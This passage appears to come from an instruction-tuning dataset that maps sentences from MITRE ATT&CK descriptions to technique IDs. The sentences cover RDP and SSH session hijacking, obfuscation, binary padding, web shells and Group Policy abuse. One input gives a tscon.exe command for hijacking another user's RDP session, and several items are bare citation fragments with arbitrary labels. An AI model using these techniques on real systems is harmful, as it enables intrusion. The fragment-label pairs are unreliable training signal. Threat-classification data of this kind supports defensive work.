"T1563.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may perform RDP session hijacking which involves stealing a legitimate user's remote session. ### Response: T1563.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Typically, a user is notified when someone else is trying to steal their session.", "output": "T1563.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Typically, a user is notified when someone else is trying to steal their session. ### Response: T1563.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "With System permissions and using Terminal Services Console, `c:\\windows\\system32\\tscon.exe [session number to be stolen]`, an adversary can hijack a session without the need for credentials or prompts to the user.(Citation: RDP Hijacking Korznikov)", "output": "T1563.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: With System permissions and using Terminal Services Console, `c:\\windows\\system32\\tscon.exe [session number to be stolen]`, an adversary can hijack a session without the need for credentials or prompts to the user.(Citation: RDP Hijacking Korznikov) ### Response: T1563.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This can be done remotely or locally and with active or disconnected sessions.(Citation: RDP Hijacking Medium)", "output": "T1563.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This can be done remotely or locally and with active or disconnected sessions.(Citation: RDP Hijacking Medium) ### Response: T1563.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "It can also lead to [Remote System Discovery](https://attack.mitre.org/techniques/T1018) and Privilege Escalation by stealing a Domain Admin or higher privileged account session.", "output": "T1563.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: It can also lead to [Remote System Discovery](https://attack.mitre.org/techniques/T1018) and Privilege Escalation by stealing a Domain Admin or higher privileged account session. ### Response: T1563.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "All of this can be done by using native Windows commands, but it has also been added as a feature in red teaming tools.(Citation: Kali Redsnarf)", "output": "T1563.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: All of this can be done by using native Windows commands, but it has also been added as a feature in red teaming tools.(Citation: Kali Redsnarf) ### Response: T1563.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may hijack a legitimate user's SSH session to move laterally within an environment.", "output": "T1563.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may hijack a legitimate user's SSH session to move laterally within an environment. ### Response: T1563.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Secure Shell (SSH) is a standard means of remote access on Linux and macOS systems.", "output": "T1563.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Secure Shell (SSH) is a standard means of remote access on Linux and macOS systems. ### Response: T1563.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "It allows a user to connect to another system via an encrypted tunnel, commonly authenticating through a password, certificate or the use of an asymmetric encryption key pair.", "output": "T1563.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: It allows a user to connect to another system via an encrypted tunnel, commonly authenticating through a password, certificate or the use of an asymmetric encryption key pair. ### Response: T1563.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In order to move laterally from a compromised host, adversaries may take advantage of trust relationships established with other systems via public key authentication in active SSH sessions by hijacking an existing connection to another system.", "output": "T1563.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In order to move laterally from a compromised host, adversaries may take advantage of trust relationships established with other systems via public key authentication in active SSH sessions by hijacking an existing connection to another system. ### Response: T1563.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may occur through compromising the SSH agent itself or by having access to the agent's socket.", "output": "T1563.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may occur through compromising the SSH agent itself or by having access to the agent's socket. ### Response: T1563.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If an adversary is able to obtain root access, then hijacking SSH sessions is likely trivial.(Citation: Slideshare Abusing SSH)(Citation: SSHjack Blackhat)(Citation: Clockwork SSH Agent Hijacking)(Citation: Breach Post-mortem SSH Hijack)", "output": "T1563.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If an adversary is able to obtain root access, then hijacking SSH sessions is likely trivial.(Citation: Slideshare Abusing SSH)(Citation: SSHjack Blackhat)(Citation: Clockwork SSH Agent Hijacking)(Citation: Breach Post-mortem SSH Hijack) ### Response: T1563.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[SSH Hijacking](https://attack.mitre.org/techniques/T1563/001) differs from use of [SSH](https://attack.mitre.org/techniques/T1021/004) because it hijacks an existing SSH session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078).", "output": "T1563.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [SSH Hijacking](https://attack.mitre.org/techniques/T1563/001) differs from use of [SSH](https://attack.mitre.org/techniques/T1021/004) because it hijacks an existing SSH session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078). ### Response: T1563.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may take control of preexisting sessions with remote services to move laterally in an environment.", "output": "T1563", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may take control of preexisting sessions with remote services to move laterally in an environment. ### Response: T1563."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Users may use valid credentials to log into a service specifically designed to accept remote connections, such as telnet, SSH, and RDP.", "output": "T1563", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Users may use valid credentials to log into a service specifically designed to accept remote connections, such as telnet, SSH, and RDP. ### Response: T1563."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When a user logs into a service, a session will be established that will allow them to maintain a continuous interaction with that service.", "output": "T1563", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When a user logs into a service, a session will be established that will allow them to maintain a continuous interaction with that service. ### Response: T1563."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may commandeer these sessions to carry out actions on remote systems.", "output": "T1563", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may commandeer these sessions to carry out actions on remote systems. ### Response: T1563."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Remote Service Session Hijacking](https://attack.mitre.org/techniques/T1563) differs from use of [Remote Services](https://attack.mitre.org/techniques/T1021) because it hijacks an existing session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: RDP Hijacking Medium)(Citation: Breach Post-mortem SSH Hijack)", "output": "T1563", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Remote Service Session Hijacking](https://attack.mitre.org/techniques/T1563) differs from use of [Remote Services](https://attack.mitre.org/techniques/T1021) because it hijacks an existing session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: RDP Hijacking Medium)(Citation: Breach Post-mortem SSH Hijack) ### Response: T1563."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This is common behavior that can be used across different platforms and the network to evade defenses.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This is common behavior that can be used across different platforms and the network to evade defenses. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Payloads may be compressed, archived, or encrypted in order to avoid detection.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Payloads may be compressed, archived, or encrypted in order to avoid detection. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These payloads may be used during Initial Access or later to mitigate detection.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These payloads may be used during Initial Access or later to mitigate detection. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Sometimes a user's action may be required to open and [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) for [User Execution](https://attack.mitre.org/techniques/T1204).", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Sometimes a user's action may be required to open and [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) for [User Execution](https://attack.mitre.org/techniques/T1204). ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Volexity PowerDuke November 2016)", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Volexity PowerDuke November 2016) ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also use compressed or archived scripts, such as JavaScript.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also use compressed or archived scripts, such as JavaScript. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Portions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Portions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Linux/Cdorked.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Linux/Cdorked. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A We Live Security Analysis)", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A We Live Security Analysis) ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Carbon Black Obfuscation Sept 2016)", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Carbon Black Obfuscation Sept 2016) ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also abuse [Command Obfuscation](https://attack.mitre.org/techniques/T1027/010) to obscure commands executed from payloads or directly via [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also abuse [Command Obfuscation](https://attack.mitre.org/techniques/T1027/010) to obscure commands executed from payloads or directly via [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and application control mechanisms.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and application control mechanisms. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: FireEye Obfuscation June 2017)", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: FireEye Obfuscation June 2017) ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: FireEye Revoke-Obfuscation July 2017)(Citation: PaloAlto EncodedCommand March 2017)", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: FireEye Revoke-Obfuscation July 2017)(Citation: PaloAlto EncodedCommand March 2017) ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use binary padding to add junk data and change the on-disk representation of malware.", "output": "T1027.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use binary padding to add junk data and change the on-disk representation of malware. ### Response: T1027.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This can be done without affecting the functionality or behavior of a binary, but can increase the size of the binary beyond what some security tools are capable of handling due to file size limitations.", "output": "T1027.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This can be done without affecting the functionality or behavior of a binary, but can increase the size of the binary beyond what some security tools are capable of handling due to file size limitations. ### Response: T1027.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Binary padding effectively changes the checksum of the file and can also be used to avoid hash-based blocklists and static anti-virus signatures.(Citation: ESET OceanLotus)", "output": "T1027.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Binary padding effectively changes the checksum of the file and can also be used to avoid hash-based blocklists and static anti-virus signatures.(Citation: ESET OceanLotus) ### Response: T1027.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The padding used is commonly generated by a function to create junk data and then appended to the end or applied to sections of malware.(Citation:", "output": "T1027.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The padding used is commonly generated by a function to create junk data and then appended to the end or applied to sections of malware.(Citation: ### Response: T1027.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Securelist Malware Tricks April 2017)", "output": "T1027.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Securelist Malware Tricks April 2017) ### Response: T1027.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Increasing the file size may decrease the effectiveness of certain tools and detection capabilities that are not designed or configured to scan large files.", "output": "T1027.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Increasing the file size may decrease the effectiveness of certain tools and detection capabilities that are not designed or configured to scan large files. ### Response: T1027.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may also reduce the likelihood of being collected for analysis.", "output": "T1027.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may also reduce the likelihood of being collected for analysis. ### Response: T1027.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Public file scanning services, such as VirusTotal, limits the maximum size of an uploaded file to be analyzed.(Citation: VirusTotal FAQ)", "output": "T1027.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Public file scanning services, such as VirusTotal, limits the maximum size of an uploaded file to be analyzed.(Citation: VirusTotal FAQ) ### Response: T1027.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse legitimate extensible development features of servers to establish persistent access to systems.", "output": "T1505", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse legitimate extensible development features of servers to establish persistent access to systems. ### Response: T1505."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Enterprise server applications may include features that allow developers to write and install software or scripts to extend the functionality of the main application.", "output": "T1505", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Enterprise server applications may include features that allow developers to write and install software or scripts to extend the functionality of the main application. ### Response: T1505."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may install malicious components to extend and abuse server applications.(Citation: volexity_0day_sophos_FW)", "output": "T1505", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may install malicious components to extend and abuse server applications.(Citation: volexity_0day_sophos_FW) ### Response: T1505."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may backdoor web servers with web shells to establish persistent access to systems.", "output": "T1505.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may backdoor web servers with web shells to establish persistent access to systems. ### Response: T1505.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network.", "output": "T1505.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network. ### Response: T1505.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server.(Citation: volexity_0day_sophos_FW)", "output": "T1505.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server.(Citation: volexity_0day_sophos_FW) ### Response: T1505.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (e.g. [China Chopper](https://attack.mitre.org/software/S0020) Web shell client).(Citation: Lee 2013)", "output": "T1505.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (e.g. [China Chopper](https://attack.mitre.org/software/S0020) Web shell client).(Citation: Lee 2013) ### Response: T1505.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may modify the configuration settings of a domain to evade defenses and/or escalate privileges in domain environments.", "output": "T1484", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may modify the configuration settings of a domain to evade defenses and/or escalate privileges in domain environments. ### Response: T1484."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Domains provide a centralized means of managing how computer resources (ex: computers, user accounts) can act, and interact with each other, on a network.", "output": "T1484", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Domains provide a centralized means of managing how computer resources (ex: computers, user accounts) can act, and interact with each other, on a network. ### Response: T1484."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The policy of the domain also includes configuration settings that may apply between domains in a multi-domain/forest environment.", "output": "T1484", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The policy of the domain also includes configuration settings that may apply between domains in a multi-domain/forest environment. ### Response: T1484."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Modifications to domain settings may include altering domain Group Policy Objects (GPOs) or changing trust settings for domains, including federation trusts.", "output": "T1484", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Modifications to domain settings may include altering domain Group Policy Objects (GPOs) or changing trust settings for domains, including federation trusts. ### Response: T1484."}{"instruction": "List the MITRE techniques contained in the text.", "input": "With sufficient permissions, adversaries can modify domain policy settings.", "output": "T1484", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: With sufficient permissions, adversaries can modify domain policy settings. ### Response: T1484."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Since domain configuration settings control many of the interactions within the Active Directory (AD) environment, there are a great number of potential attacks that can stem from this abuse.", "output": "T1484", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Since domain configuration settings control many of the interactions within the Active Directory (AD) environment, there are a great number of potential attacks that can stem from this abuse. ### Response: T1484."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Examples of such abuse include modifying GPOs to push a malicious [Scheduled Task](https://attack.mitre.org/techniques/T1053/005) to computers throughout the domain environment(Citation: ADSecurity GPO Persistence 2016)(Citation:", "output": "T1484", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Examples of such abuse include modifying GPOs to push a malicious [Scheduled Task](https://attack.mitre.org/techniques/T1053/005) to computers throughout the domain environment(Citation: ADSecurity GPO Persistence 2016)(Citation: ### Response: T1484."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) or modifying domain trusts to include an adversary controlled domain where they can control access tokens that will subsequently be accepted by victim domain resources.(Citation: Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks)", "output": "T1484", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) or modifying domain trusts to include an adversary controlled domain where they can control access tokens that will subsequently be accepted by victim domain resources.(Citation: Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks) ### Response: T1484."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can also change configuration settings within the AD environment to implement a [Rogue Domain Controller](https://attack.mitre.org/techniques/T1207).", "output": "T1484", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can also change configuration settings within the AD environment to implement a [Rogue Domain Controller](https://attack.mitre.org/techniques/T1207). ### Response: T1484."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may temporarily modify domain policy, carry out a malicious action(s), and then revert the change to remove suspicious indicators.", "output": "T1484", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may temporarily modify domain policy, carry out a malicious action(s), and then revert the change to remove suspicious indicators. ### Response: T1484."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may modify Group Policy Objects (GPOs) to subvert the intended discretionary access controls for a domain, usually with the intention of escalating privileges on the domain.", "output": "T1484.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may modify Group Policy Objects (GPOs) to subvert the intended discretionary access controls for a domain, usually with the intention of escalating privileges on the domain. ### Response: T1484.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Group policy allows for centralized management of user and computer settings in Active Directory (AD).", "output": "T1484.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Group policy allows for centralized management of user and computer settings in Active Directory (AD). ### Response: T1484.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "GPOs are containers for group policy settings made up of files stored within a predictable network path `\\<DOMAIN>\\SYSVOL\\<DOMAIN>\\Policies\\`.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016)", "output": "T1484.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: GPOs are containers for group policy settings made up of files stored within a predictable network path `\\<DOMAIN>\\SYSVOL\\<DOMAIN>\\Policies\\`.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016) ### Response: T1484.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Like other objects in AD, GPOs have access controls associated with them.", "output": "T1484.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Like other objects in AD, GPOs have access controls associated with them. ### Response: T1484.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By default all user accounts in the domain have permission to read GPOs.", "output": "T1484.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By default all user accounts in the domain have permission to read GPOs. ### Response: T1484.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "It is possible to delegate GPO access control permissions, e.g. write access, to specific users or groups in the domain.", "output": "T1484.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: It is possible to delegate GPO access control permissions, e.g. write access, to specific users or groups in the domain. ### Response: T1484.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Malicious GPO modifications can be used to implement many other malicious behaviors such as [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053),", "output": "T1484.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Malicious GPO modifications can be used to implement many other malicious behaviors such as [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), ### Response: T1484.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001), [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105), [Create Account](https://attack.mitre.org/techniques/T1136), [Service Execution](https://attack.mitre.org/techniques/T1569/002),  and more.(Citation: ADSecurity GPO Persistence 2016)(Citation:", "output": "T1484.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001), [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105), [Create Account](https://attack.mitre.org/techniques/T1136), [Service Execution](https://attack.mitre.org/techniques/T1569/002),  and more.(Citation: ADSecurity GPO Persistence 2016)(Citation: ### Response: T1484.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions)(Citation:", "output": "T1484.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions)(Citation: ### Response: T1484.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Mandiant M Trends 2016)(Citation:", "output": "T1484.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Mandiant M Trends 2016)(Citation: ### Response: T1484.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft Hacking Team Breach)", "output": "T1484.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft Hacking Team Breach) ### Response: T1484.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Since GPOs can control so many user and machine settings in the AD environment, there are 